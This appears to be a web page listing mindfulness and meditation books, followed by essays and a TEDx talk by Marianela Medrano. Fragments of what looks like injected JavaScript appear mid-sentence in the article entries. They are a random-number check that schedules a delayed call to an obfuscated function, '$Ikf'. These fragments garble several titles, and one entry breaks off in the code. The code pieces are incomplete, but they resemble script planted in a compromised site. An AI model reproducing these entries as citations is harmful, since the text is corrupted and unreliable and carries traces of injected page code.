Suggested Readings:

  • "Full Catastrophe Living: Using the Wisdom of Your Body and Mind to Face Stress, Pain, and Illness," by Jon Kabat-Zinn, Ph.D.
  • "The Five Keys to Mindful Communication," by Susan Gillis Chapman
  • "Insight Dialogue The interpersonal Path to Freedom," by Gregory Kramer
  • "Real Happiness the Power of Meditation," by Sharon Salzsberg
  • "Mindfulness in Plain English," by Bhante Henepola Gunaratana
  • "Action Manual," by Liz White
  • "A Lamp in Darkness: Illuminating the Pain Through Difficult Times," by Jack Kornfield

Selected articles:

The Tao of the Majarete (2007)

The Tao of the Majarete (2007). Included in the anthology Voices of the Immigration,Testimonies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Personal Essays by Dominican Women.

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Healing Balm for Invisible Bruises

Healing Balm for Invisible Bruises: Poetry Therapy with Marginalized Men andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Women (2007). East Coast Sandom() * 6); if

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A Ciguapa Speaks: On How I Came to Value Wholeness | Marianela Medrano | TEDxUrsulineCollege